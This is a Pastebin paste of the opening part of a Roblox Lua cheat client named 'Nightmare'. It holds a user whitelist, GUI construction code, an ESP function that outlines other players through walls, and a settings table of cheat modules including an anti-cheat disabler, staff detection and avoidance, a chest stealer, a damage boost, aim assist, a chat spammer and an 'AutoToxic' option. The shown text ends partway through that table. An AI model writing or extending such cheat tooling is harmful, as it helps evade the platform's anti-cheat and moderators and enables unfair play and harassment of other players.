Qpwisnd

Untitled

Mar 20th, 2024
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 161.26 KB | None | 0 0
  1. local WhitelistedUsers = {User1 = "mittenfake12345", User2 = "4SaD45", User3 = "Nightmare_Config", User4 = "umother2001vjd", User5 = "ncm_hack", User6 = "bananjoy_4", User7 = "codexexperince123456"}
  2. local Owner = "Nightmare_Config"
  3.  
  4. local LocalPlayer = game.Players.LocalPlayer
  5.  
  6. local RbxAnalyticsService = game:GetService("RbxAnalyticsService")
  7. local CollectionService = game:GetService("CollectionService")
  8. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  9. local UserInputService = game:GetService("UserInputService")
  10. local LightingService = game:GetService("Lighting")
  11. local PlayerService = game:GetService("Players")
  12. local TweenService = game:GetService("TweenService")
  13. local StatsService = game:GetService("Stats")
  14. local HttpService = game:GetService("HttpService")
  15. local RunService = game:GetService("RunService")
  16. local WorkSpace = game:GetService("Workspace") or game.Workspace or workspace
  17. local CoreGui = game:GetService("CoreGui")
  18.  
  19. local Nightmare = Instance.new("ScreenGui")
  20. local ContainerFrame = Instance.new("Frame")
  21. local ContainerFrameUIListLayout = Instance.new("UIListLayout")
  22. local NotificationContainer = Instance.new("Frame")
  23. local NotificationContainerUIListLayout = Instance.new("UIListLayout")
  24.  
  25. local DefaultLayoutOrder = 0
  26.  
  27. Nightmare.Name = "Nightmare"
  28. Nightmare.Parent = LocalPlayer:WaitForChild("PlayerGui")
  29. Nightmare.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  30. Nightmare.ResetOnSpawn = false
  31.  
  32. ContainerFrame.Name = "ContainerFrame"
  33. ContainerFrame.Parent = Nightmare
  34. ContainerFrame.BackgroundColor3 = Color3.new(255, 255, 255)
  35. ContainerFrame.BackgroundTransparency = 1.000
  36. ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
  37. ContainerFrame.BorderSizePixel = 0
  38. ContainerFrame.Position = UDim2.new(0, 0, 0, 0)
  39. ContainerFrame.Size = UDim2.new(1, 0, 1, 0)
  40. ContainerFrame.Visible = false
  41.  
  42. ContainerFrameUIListLayout.Parent = ContainerFrame
  43. ContainerFrameUIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  44. ContainerFrameUIListLayout.Padding = UDim.new(0, 50)
  45. ContainerFrameUIListLayout.FillDirection = Enum.FillDirection.Horizontal
  46. ContainerFrameUIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
  47.  
  48. NotificationContainer.Name = "NotificationContainer"
  49. NotificationContainer.Parent = Nightmare
  50. NotificationContainer.BackgroundColor3 = Color3.new(255, 255, 255)
  51. NotificationContainer.BackgroundTransparency = 1.000
  52. NotificationContainer.BorderColor3 = Color3.new(0, 0, 0)
  53. NotificationContainer.BorderSizePixel = 0
  54. NotificationContainer.Position = UDim2.new(0.8, 0, 0, 0)
  55. NotificationContainer.Size = UDim2.new(0.2, 0, 0.980487823, 0)
  56.  
  57. NotificationContainerUIListLayout.Parent = NotificationContainer
  58. NotificationContainerUIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
  59. NotificationContainerUIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  60. NotificationContainerUIListLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom
  61. NotificationContainerUIListLayout.Padding = UDim.new(0, 10)
  62.  
  63. local UIAspectRatioConstraintOpen = Instance.new("UIAspectRatioConstraint")
  64. local UIStroke = Instance.new("UIStroke")
  65. local UICorner = Instance.new("UICorner")
  66. local Open = Instance.new("ImageButton")
  67.  
  68. UIStroke.Parent = Open
  69. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  70. UIStroke.Thickness = 2
  71. UIStroke.Color = Color3.new(0.635294, 0.313725, 1)
  72.  
  73. Open.Name = "Open"
  74. Open.Parent = Nightmare
  75. Open.BackgroundColor3 = Color3.new(255, 255, 255)
  76. Open.BorderColor3 = Color3.new(0, 0, 0)
  77. Open.BorderSizePixel = 0
  78. Open.Position = UDim2.new(0.963096738, 0, 0.351765305, 0)
  79. Open.Size = UDim2.new(0.0329854637, 0, 0.0837961882, 0)
  80. Open.Image = "rbxassetid://15105493170"
  81.  
  82. UICorner.CornerRadius = UDim.new(0, 6)
  83. UICorner.Parent = Open
  84.  
  85. UIAspectRatioConstraintOpen.Parent = Open
  86. UIAspectRatioConstraintOpen.AspectRatio = 1
  87.  
  88. local Blur = Instance.new("BlurEffect")
  89.  
  90. Blur.Parent = LightingService
  91. Blur.Enabled = false
  92. Blur.Size = 16
  93.  
  94. task.spawn(function()
  95. Open.Activated:Connect(function()
  96. ContainerFrame.Visible = not ContainerFrame.Visible
  97. Blur.Enabled = not Blur.Enabled
  98. end)
  99. end)
  100.  
  101. local function CreateTab(Name)
  102. local Tab = Instance.new("Frame")
  103. local UICorner = Instance.new("UICorner")
  104. local CornerFix = Instance.new("Frame")
  105. local ModulesContainer = Instance.new("Frame")
  106. local UIListLayout = Instance.new("UIListLayout")
  107. local Title = Instance.new("TextLabel")
  108. local UIGradient = Instance.new("UIGradient")
  109.  
  110. Tab.Name = "Tab"
  111. Tab.Parent = ContainerFrame
  112. Tab.BackgroundColor3 = Color3.new(0, 0, 0)
  113. Tab.BorderColor3 = Color3.new(0, 0, 0)
  114. Tab.BorderSizePixel = 0
  115. Tab.Position = UDim2.new(0.434123844, 0, 0, 0)
  116. Tab.Size = UDim2.new(0.142, 0, 0.049, 0)
  117.  
  118. UICorner.CornerRadius = UDim.new(0, 12)
  119. UICorner.Parent = Tab
  120.  
  121. CornerFix.Name = "CornerFix"
  122. CornerFix.Parent = Tab
  123. CornerFix.BackgroundColor3 = Color3.new(0, 0, 0)
  124. CornerFix.BorderColor3 = Color3.new(0, 0, 0)
  125. CornerFix.BorderSizePixel = 0
  126. CornerFix.Position = UDim2.new(0, 0, 0.371, 0)
  127. CornerFix.Size = UDim2.new(1, 0, 0.629, 0)
  128.  
  129. ModulesContainer.Name = "ModulesContainer"
  130. ModulesContainer.Parent = Tab
  131. ModulesContainer.BackgroundColor3 = Color3.new(255, 255, 255)
  132. ModulesContainer.BackgroundTransparency = 1.000
  133. ModulesContainer.BorderColor3 = Color3.new(0, 0, 0)
  134. ModulesContainer.BorderSizePixel = 0
  135. ModulesContainer.Position = UDim2.new(0, 0, 1, 0)
  136. ModulesContainer.Size = UDim2.new(1, 0, 21.4285717, 0)
  137.  
  138. UIListLayout.Parent = ModulesContainer
  139. UIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
  140. UIListLayout.FillDirection = Enum.FillDirection.Vertical
  141. UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  142.  
  143. Title.Name = "Title"
  144. Title.Parent = Tab
  145. Title.BackgroundColor3 = Color3.new(255, 255, 255)
  146. Title.BackgroundTransparency = 1.000
  147. Title.BorderColor3 = Color3.new(0, 0, 0)
  148. Title.BorderSizePixel = 0
  149. Title.Position = UDim2.new(0, 0, 0.123508625, 0)
  150. Title.Size = UDim2.new(0.99999994, 0, 0.742857158, 0)
  151. Title.Font = Enum.Font.GothamBold
  152. Title.Text = Name
  153. Title.TextColor3 = Color3.new(255, 255, 255)
  154. Title.TextSize = 17
  155. Title.TextWrapped = true
  156.  
  157. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.843137, 0.686275, 1))}
  158. UIGradient.Rotation = 90
  159. UIGradient.Parent = Title
  160.  
  161. return ModulesContainer
  162. end
  163.  
  164. local function CreateToggle(Parent, Name, DefaultValue, CallBack)
  165. local Toggle = Instance.new("TextButton")
  166. local UIPadding = Instance.new("UIPadding")
  167. local UIGradient = Instance.new("UIGradient")
  168. local DropDownButton = Instance.new("ImageButton")
  169.  
  170. local CallBackValue = DefaultValue
  171.  
  172. local LayoutOrder = 0
  173.  
  174. local function CallBackToggle(Value)
  175. task.spawn(function()
  176. if Value == true then
  177. CallBackValue = true
  178. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  179.  
  180. CallBack(true)
  181. end
  182. end)
  183.  
  184. task.spawn(function()
  185. if Value == false then
  186. CallBackValue = false
  187. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  188.  
  189. CallBack(false)
  190. end
  191. end)
  192. end
  193.  
  194. Toggle.Name = "Toggle"
  195. Toggle.Parent = Parent
  196. Toggle.BackgroundColor3 = Color3.new(0, 0, 0)
  197. Toggle.BackgroundTransparency = 0.150
  198. Toggle.BorderColor3 = Color3.new(0, 0, 0)
  199. Toggle.BorderSizePixel = 0
  200. Toggle.Size = UDim2.new(1, 0, 0.0469164699, 0)
  201. Toggle.AutoButtonColor = false
  202. Toggle.Font = Enum.Font.GothamBold
  203. Toggle.Text = Name
  204. Toggle.TextColor3 = Color3.new(255, 255, 255)
  205. Toggle.TextSize = 12.000
  206. Toggle.TextXAlignment = Enum.TextXAlignment.Left
  207. Toggle.LayoutOrder = DefaultLayoutOrder + 10
  208.  
  209. LayoutOrder = Toggle.LayoutOrder
  210. DefaultLayoutOrder = LayoutOrder
  211.  
  212. UIPadding.Parent = Toggle
  213. UIPadding.PaddingLeft = UDim.new(0, 15)
  214.  
  215. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  216. UIGradient.Rotation = 90
  217. UIGradient.Parent = Toggle
  218.  
  219. DropDownButton.Name = "DropDownButton"
  220. DropDownButton.Parent = Toggle
  221. DropDownButton.BackgroundColor3 = Color3.new(255, 255, 255)
  222. DropDownButton.BackgroundTransparency = 1.000
  223. DropDownButton.BorderColor3 = Color3.new(0, 0, 0)
  224. DropDownButton.BorderSizePixel = 0
  225. DropDownButton.Position = UDim2.new(0.835, 0, 0.163, 0)
  226. DropDownButton.Rotation = 90.000
  227. DropDownButton.Size = UDim2.new(0.132, 0, 0.668, 0)
  228. DropDownButton.Image = "http://www.roblox.com/asset/?id=12809025337"
  229.  
  230. CallBackToggle(CallBackValue)
  231.  
  232. task.spawn(function()
  233. Toggle.Activated:Connect(function()
  234. CallBackToggle(not CallBackValue)
  235. end)
  236. end)
  237.  
  238. return Toggle, DropDownButton, LayoutOrder, UIGradient
  239. end
  240.  
  241. local function CreateKeyBind(Parent, DefaultValue, LayoutOrder, CallBack)
  242. local KeyBind = Instance.new("TextButton")
  243. local UIGradient = Instance.new("UIGradient")
  244.  
  245. local function CallBackToggle(Value)
  246. CallBack(Value)
  247. end
  248.  
  249. KeyBind.Name = "KeyBind"
  250. KeyBind.Parent = Parent
  251. KeyBind.BackgroundColor3 = Color3.new(0, 0, 0)
  252. KeyBind.BackgroundTransparency = 0.150
  253. KeyBind.BorderColor3 = Color3.new(0, 0, 0)
  254. KeyBind.BorderSizePixel = 0
  255. KeyBind.Position = UDim2.new(0, 0, 0.0765417367, 0)
  256. KeyBind.Size = UDim2.new(0.99999994, 0, 0.0353890099, 0)
  257. KeyBind.AutoButtonColor = false
  258. KeyBind.Font = Enum.Font.GothamBold
  259. KeyBind.Text = "KeyBind: " .. DefaultValue
  260. KeyBind.TextColor3 = Color3.new(255, 255, 255)
  261. KeyBind.TextSize = 11.000
  262. KeyBind.LayoutOrder = LayoutOrder
  263.  
  264. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  265. UIGradient.Rotation = 90
  266. UIGradient.Parent = KeyBind
  267.  
  268. task.spawn(function()
  269. local InputValue = false
  270. local Value = false
  271.  
  272. KeyBind.Activated:Connect(function()
  273. if Value == false then
  274. InputValue = true
  275. KeyBind.Text = "..."
  276. end
  277.  
  278. if Value == true and InputValue == true then
  279. KeyBind.Text = "KeyBind: " .. "..."
  280. InputValue = false
  281. CallBackToggle("...")
  282. end
  283.  
  284. Value = not Value
  285. end)
  286.  
  287. task.spawn(function()
  288. UserInputService.InputBegan:Connect(function(Input)
  289. if InputValue == true and not UserInputService:GetFocusedTextBox() then
  290. if Input.KeyCode and Input.UserInputType == Enum.UserInputType.Keyboard then
  291. KeyBind.Text = "KeyBind: " .. Input.KeyCode.Name
  292.  
  293. CallBackToggle(Input.KeyCode.Name)
  294. InputValue = false
  295. end
  296. end
  297. end)
  298. end)
  299. end)
  300.  
  301. return KeyBind
  302. end
  303.  
  304. local function CreateMiniToggle(Parent, Name, DefaultValue, LayoutOrder, CallBack)
  305. local MiniToggle = Instance.new("TextButton")
  306. local UIGradient = Instance.new("UIGradient")
  307.  
  308. local CallBackValue = DefaultValue
  309.  
  310.  
  311. local function CallBackToggle(Value)
  312. task.spawn(function()
  313. if Value == true then
  314. CallBackValue = true
  315. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  316.  
  317. CallBack(true)
  318. end
  319. end)
  320.  
  321. task.spawn(function()
  322. if Value == false then
  323. CallBackValue = false
  324. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  325.  
  326. CallBack(false)
  327. end
  328. end)
  329. end
  330.  
  331. MiniToggle.Name = "MiniToggle"
  332. MiniToggle.Parent = Parent
  333. MiniToggle.BackgroundColor3 = Color3.new(0, 0, 0)
  334. MiniToggle.BackgroundTransparency = 0.150
  335. MiniToggle.BorderColor3 = Color3.new(0, 0, 0)
  336. MiniToggle.BorderSizePixel = 0
  337. MiniToggle.Position = UDim2.new(0, 0, 0.0765417367, 0)
  338. MiniToggle.Size = UDim2.new(0.99999994, 0, 0.0353890099, 0)
  339. MiniToggle.AutoButtonColor = false
  340. MiniToggle.Font = Enum.Font.GothamBold
  341. MiniToggle.Text = Name
  342. MiniToggle.TextColor3 = Color3.new(255, 255, 255)
  343. MiniToggle.TextSize = 11.000
  344. MiniToggle.LayoutOrder = LayoutOrder
  345.  
  346. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  347. UIGradient.Rotation = 90
  348. UIGradient.Parent = MiniToggle
  349.  
  350. CallBackToggle(CallBackValue)
  351.  
  352. task.spawn(function()
  353. MiniToggle.Activated:Connect(function()
  354. CallBackToggle(not CallBackValue)
  355. end)
  356. end)
  357.  
  358. return MiniToggle
  359. end
  360.  
  361. local function CreateSlider(Parent, Name, DefaultValue, MaximumValue, LayoutOrder, CallBack)
  362. local Slider = Instance.new("Frame")
  363. local SliderFrame = Instance.new("Frame")
  364. local UICorner = Instance.new("UICorner")
  365. local Bar = Instance.new("TextButton")
  366. local UICorner_2 = Instance.new("UICorner")
  367. local UIGradient = Instance.new("UIGradient")
  368. local UIStroke = Instance.new("UIStroke")
  369.  
  370. local Title = Instance.new("TextLabel")
  371. local UIGradient_2 = Instance.new("UIGradient")
  372. local Fill = Instance.new("Frame")
  373. local UICorner_3 = Instance.new("UICorner")
  374. local UIGradient_3 = Instance.new("UIGradient")
  375.  
  376. Slider.Name = "Slider"
  377. Slider.Parent = Parent
  378. Slider.BackgroundColor3 = Color3.new(0, 0, 0)
  379. Slider.BackgroundTransparency = 0.150
  380. Slider.BorderColor3 = Color3.new(0, 0, 0)
  381. Slider.BorderSizePixel = 0
  382. Slider.Position = UDim2.new(0, 0, 0.116778016, 0)
  383. Slider.Size = UDim2.new(0.99999994, 0, 0.0687298849, 0)
  384. Slider.LayoutOrder = LayoutOrder
  385.  
  386. SliderFrame.Name = "SliderFrame"
  387. SliderFrame.Parent = Slider
  388. SliderFrame.BackgroundColor3 = Color3.new(255, 255, 255)
  389. SliderFrame.BackgroundTransparency = 1.000
  390. SliderFrame.BorderColor3 = Color3.new(0, 0, 0)
  391. SliderFrame.BorderSizePixel = 0
  392. SliderFrame.Position = UDim2.new(0.150000006, 0, 0.581818163, 0)
  393. SliderFrame.Size = UDim2.new(0.699999988, 0, 0.145454541, 0)
  394.  
  395. UICorner.CornerRadius = UDim.new(0, 12)
  396. UICorner.Parent = SliderFrame
  397.  
  398. Bar.Name = "Bar"
  399. Bar.Parent = SliderFrame
  400. Bar.BackgroundColor3 = Color3.new(255, 255, 255)
  401. Bar.BorderColor3 = Color3.new(0, 0, 0)
  402. Bar.BorderSizePixel = 0
  403. Bar.Position = UDim2.new(0.142857149, 0, -1.36341882, 0)
  404. Bar.Size = UDim2.new(0.0571428575, 0, 3.5, 0)
  405. Bar.ZIndex = 2
  406. Bar.AutoButtonColor = false
  407. Bar.Font = Enum.Font.SourceSans
  408. Bar.Text = ""
  409. Bar.TextColor3 = Color3.new(0, 0, 0)
  410. Bar.TextSize = 14.000
  411.  
  412. UICorner_2.CornerRadius = UDim.new(0, 12)
  413. UICorner_2.Parent = Bar
  414.  
  415. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  416. UIGradient.Parent = Bar
  417.  
  418. UIStroke.Parent = Bar
  419. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  420. UIStroke.Thickness = 2
  421. UIStroke.Color = Color3.new(0, 0, 0)
  422.  
  423. Title.Name = "Title"
  424. Title.Parent = SliderFrame
  425. Title.BackgroundColor3 = Color3.new(255, 255, 255)
  426. Title.BackgroundTransparency = 1.000
  427. Title.BorderColor3 = Color3.new(0, 0, 0)
  428. Title.BorderSizePixel = 0
  429. Title.Position = UDim2.new(0.321428567, 0, -3.7615819, 0)
  430. Title.Size = UDim2.new(0.357142866, 0, 2.5, 0)
  431. Title.Font = Enum.Font.GothamBold
  432. Title.Text = Name .. ": " .. DefaultValue
  433. Title.TextColor3 = Color3.new(255, 255, 255)
  434. Title.TextSize = 11.00
  435.  
  436. UIGradient_2.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  437. UIGradient_2.Rotation = 90
  438. UIGradient_2.Parent = Title
  439.  
  440. Fill.Name = "Fill"
  441. Fill.Parent = SliderFrame
  442. Fill.BackgroundColor3 = Color3.new(255, 255, 255)
  443. Fill.BorderColor3 = Color3.new(0, 0, 0)
  444. Fill.BorderSizePixel = 0
  445. Fill.Size = UDim2.new(1, 0, 1, 0)
  446.  
  447. UICorner_3.CornerRadius = UDim.new(0, 12)
  448. UICorner_3.Parent = Fill
  449.  
  450. UIGradient_3.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  451. UIGradient_3.Parent = Fill
  452.  
  453. local Debounce = true
  454.  
  455. local function Snap(Number, Factor)
  456. if Factor == 0 then
  457. return Number
  458. else
  459. return math.floor(Number / Factor + 0.5) * Factor
  460. end
  461. end
  462.  
  463. task.spawn(function()
  464. Bar.MouseButton1Down:Connect(function()
  465. Debounce = false
  466. end)
  467.  
  468. UserInputService.InputEnded:connect(function(Input)
  469. if Input.UserInputType == Enum.UserInputType.MouseButton1 then
  470. Debounce = true
  471. end
  472. end)
  473. end)
  474.  
  475. task.spawn(function()
  476. local BarPosition = Bar.Position
  477.  
  478. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  479. local PositionTween = TweenService:Create(Bar, TweenInformation, {Position = UDim2.new(DefaultValue / MaximumValue - 0.05, 0, BarPosition.Y.Scale, BarPosition.Y.Offset)})
  480.  
  481. PositionTween:Play()
  482.  
  483. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  484. local SizeTween = TweenService:Create(Fill, TweenInformation, {Size = UDim2.new(DefaultValue / MaximumValue, 0, 1, 0)})
  485.  
  486. SizeTween:Play()
  487. end)
  488.  
  489. task.spawn(function()
  490. repeat
  491. task.wait()
  492.  
  493. if Debounce == false then
  494. local MousePosition = UserInputService:GetMouseLocation().X
  495. local BarPosition = Bar.Position
  496. local FrameSize = Slider.AbsoluteSize.X
  497. local FramePosition = Slider.AbsolutePosition.X
  498.  
  499. local Position = Snap((MousePosition - FramePosition) / FrameSize, 0.01)
  500.  
  501. local Percentage = math.clamp(Position, 0, 1)
  502.  
  503. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  504. local PositionTween = TweenService:Create(Bar, TweenInformation, {Position = UDim2.new(Percentage, 0, BarPosition.Y.Scale, BarPosition.Y.Offset)})
  505.  
  506. PositionTween:Play()
  507.  
  508. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  509. local SizeTween = TweenService:Create(Fill, TweenInformation, {Size = UDim2.new(Percentage, 0, 1, 0)})
  510.  
  511. SizeTween:Play()
  512.  
  513. Title.Text = Name .. ": " .. math.round(Percentage * MaximumValue)
  514.  
  515. CallBack(math.round(Percentage * MaximumValue))
  516. end
  517. until not Slider
  518. end)
  519.  
  520. return Slider
  521. end
  522.  
  523. local function CreateNotification(Duration, Message)
  524. local Notification = Instance.new("Frame")
  525. local UIStroke = Instance.new("UIStroke")
  526. local UIGradient = Instance.new("UIGradient")
  527. local UICorner = Instance.new("UICorner")
  528. local Text = Instance.new("TextLabel")
  529.  
  530. Notification.Name = "Notification"
  531. Notification.Parent = NotificationContainer
  532. Notification.BackgroundColor3 = Color3.new(0, 0, 0)
  533. Notification.BackgroundTransparency = 0.150
  534. Notification.BorderColor3 = Color3.new(0, 0, 0)
  535. Notification.BorderSizePixel = 0
  536. Notification.Position = UDim2.new(0.226286799, 0, 0, 0)
  537. Notification.Size = UDim2.new(0, 0, 0, 0)
  538.  
  539. UIStroke.Parent = Notification
  540. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  541. UIStroke.Thickness = 2
  542. UIStroke.Color = Color3.new(1, 1, 1)
  543.  
  544. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  545. UIGradient.Parent = UIStroke
  546.  
  547. UICorner.Parent = Notification
  548. UICorner.CornerRadius = UDim.new(0, 6)
  549.  
  550. Text.Name = "Text"
  551. Text.Parent = Notification
  552. Text.BackgroundColor3 = Color3.new(255, 255, 255)
  553. Text.BackgroundTransparency = 1.000
  554. Text.BorderColor3 = Color3.new(0, 0, 0)
  555. Text.BorderSizePixel = 0
  556. Text.Position = UDim2.new(-0.00263573672, 0, 0, 0)
  557. Text.Size = UDim2.new(1, 0, 1, 0)
  558. Text.Font = Enum.Font.GothamBold
  559. Text.Text = Message
  560. Text.TextColor3 = Color3.new(255, 255, 255)
  561. Text.TextSize = 10.00
  562.  
  563. task.spawn(function()
  564. local NotificationSize = UDim2.new(1, 0, 0.087, 0)
  565.  
  566. local TweenInformation = TweenInfo.new(0.15, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0)
  567. local SizeTween = TweenService:Create(Notification, TweenInformation, {Size = NotificationSize})
  568.  
  569. SizeTween:Play()
  570.  
  571. task.wait(Duration)
  572.  
  573. NotificationSize = UDim2.new(0, 0, 0, 0)
  574.  
  575. local SizeTween2 = TweenService:Create(Notification, TweenInformation, {Size = NotificationSize})
  576.  
  577. SizeTween2:Play()
  578.  
  579. task.spawn(function()
  580. task.wait(TweenInformation.Time)
  581.  
  582. Notification:Destroy()
  583. end)
  584. end)
  585. end
  586.  
  587. local function CreateFlyHud()
  588. local Background = Instance.new("Frame")
  589. local UIStroke = Instance.new("UIStroke")
  590. local UICorner = Instance.new("UICorner")
  591. local Text = Instance.new("TextLabel")
  592. local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
  593. local DisplayBackground = Instance.new("Frame")
  594. local UICorner_2 = Instance.new("UICorner")
  595. local Display = Instance.new("Frame")
  596. local UICorner_3 = Instance.new("UICorner")
  597.  
  598. Background.Name = "Background"
  599. Background.Parent = Nightmare
  600. Background.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  601. Background.BackgroundTransparency = 0.250
  602. Background.BorderColor3 = Color3.fromRGB(0, 0, 0)
  603. Background.BorderSizePixel = 0
  604. Background.Position = UDim2.new(0.41, 0, 0.7, 0)
  605. Background.Size = UDim2.new(0.178, 0, 0.085, 0)
  606.  
  607. UIStroke.Parent = Background
  608. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  609. UIStroke.Thickness = 2
  610.  
  611.  
  612. task.spawn(function()
  613. repeat
  614. task.wait(0.001)
  615.  
  616. UIStroke.Color = Color3.fromHSV(tick() % 5 / 5, 1, 1)
  617. until not game
  618. end)
  619.  
  620. UICorner.Parent = Background
  621.  
  622. Text.Name = "Text"
  623. Text.Parent = Background
  624. Text.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  625. Text.BackgroundTransparency = 1.000
  626. Text.BorderColor3 = Color3.fromRGB(0, 0, 0)
  627. Text.BorderSizePixel = 0
  628. Text.Position = UDim2.new(-0.00332811219, 0, 0.510591209, 0)
  629. Text.Size = UDim2.new(0.999999762, 0, 0.489407092, 0)
  630. Text.Font = Enum.Font.GothamBold
  631. Text.Text = "1"
  632. Text.TextColor3 = Color3.fromRGB(175, 105, 255)
  633. Text.TextScaled = true
  634. Text.TextSize = 20.000
  635. Text.TextWrapped = true
  636.  
  637. UITextSizeConstraint.Parent = Text
  638. UITextSizeConstraint.MaxTextSize = 20
  639.  
  640. DisplayBackground.Name = "DisplayBackground"
  641. DisplayBackground.Parent = Background
  642. DisplayBackground.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  643. DisplayBackground.BorderColor3 = Color3.fromRGB(0, 0, 0)
  644. DisplayBackground.BorderSizePixel = 0
  645. DisplayBackground.Position = UDim2.new(0.228761196, 0, 0.266666889, 0)
  646. DisplayBackground.Size = UDim2.new(0.544929683, 0, 0.149570271, 0)
  647.  
  648. UICorner_2.CornerRadius = UDim.new(0, 6)
  649. UICorner_2.Parent = DisplayBackground
  650.  
  651. Display.Name = "Display"
  652. Display.Parent = DisplayBackground
  653. Display.BackgroundColor3 = Color3.fromRGB(175, 105, 255)
  654. Display.BorderColor3 = Color3.fromRGB(0, 0, 0)
  655. Display.BorderSizePixel = 0
  656. Display.Position = UDim2.new(0, 0, 0, 0)
  657. Display.Size = UDim2.new(0, 0, 1, 0)
  658. Display.ZIndex = 2
  659.  
  660. UICorner_3.CornerRadius = UDim.new(0, 6)
  661. UICorner_3.Parent = Display
  662.  
  663. return Background, Text, Display
  664. end
  665.  
  666. function CreateOutline(Player)
  667. if IsAlive(Player) then
  668. local BillBoard = Instance.new("BillboardGui")
  669.  
  670. BillBoard.Size = UDim2.new(4, 0, 4, 0)
  671. BillBoard.AlwaysOnTop = true
  672. BillBoard.Name = "Esp"
  673.  
  674. local Frame = Instance.new("Frame")
  675.  
  676. Frame.Size = UDim2.new(1, 0, 1.5, 0)
  677. Frame.Position = UDim2.new(0, 0, -Player.Character.LowerTorso.Size.Y / 2 or -Player.PrimaryPart.Size.Y / 2, 0)
  678. Frame.BackgroundTransparency = 1
  679.  
  680. local Stroke = Instance.new("UIStroke")
  681.  
  682. Stroke.Thickness = 1.5
  683. Stroke.Color = Color3.new(0.635294, 0.313725, 1)
  684. Stroke.Transparency = 0
  685.  
  686. local UICorner = Instance.new("UICorner")
  687.  
  688. UICorner.Parent = Frame
  689. UICorner.CornerRadius = UDim.new(0, 3)
  690.  
  691. Stroke.Parent = Frame
  692. Frame.Parent = BillBoard
  693. BillBoard.Parent = Player.Character.PrimaryPart
  694. end
  695. end
  696.  
  697. local Settings = {}
  698. local Loaded = false
  699.  
  700. local SaveFileName = "SavingSystemNightmare"
  701.  
  702. local function CreateSettingsFile()
  703. Settings = {
  704. NoPlacementCps = {Value = true, KeyBind = "..."},
  705. ChestStealer = {Value = true, Range = 30, KeyBind = "..."},
  706. InfiniteJump = {Value = true, KeyBind = "..."},
  707. AutoClicker = {Value = true, Cps = 30, KeyBind = "..."},
  708. NoKnockBack = {Value = true, KeyBind = "..."},
  709. InfiniteFly = {Value = false, KeyBind = "..."},
  710. DamageBoost = {Value = true, KeyBind = "..."},
  711. ChatSpammer = {Value = false, Speed = 50, KeyBind = "..."},
  712. AcDisabler = {Value = true, KeyBind = "..."},
  713. FpsBooster = {Value = false, KeyBind = "..."},
  714. Indicators = {Value = true, KeyBind = "..."},
  715. AutoReport = {Value = true, KeyBind = "..."},
  716. AntiStaff = {Value = true, Kick = false, KeyBind = "..."},
  717. StaffDetector = {Value = true, KeyBind = "..."},
  718. AutoToxic = {Value = false, KeyBind = "..."},
  719. GalaxySky = {Value = true, KeyBind = "..."},
  720. PlayAgain = {Value = true, KeyBind = "..."},
  721. Invisible = {Value = false, KeyBind = "..."},
  722. AimAssist = {Value = true, Range = 18, KeyBind = "..."},
  723. Scaffold = {Value = false, ExpandDistance = 2, KeyBind = "..."},
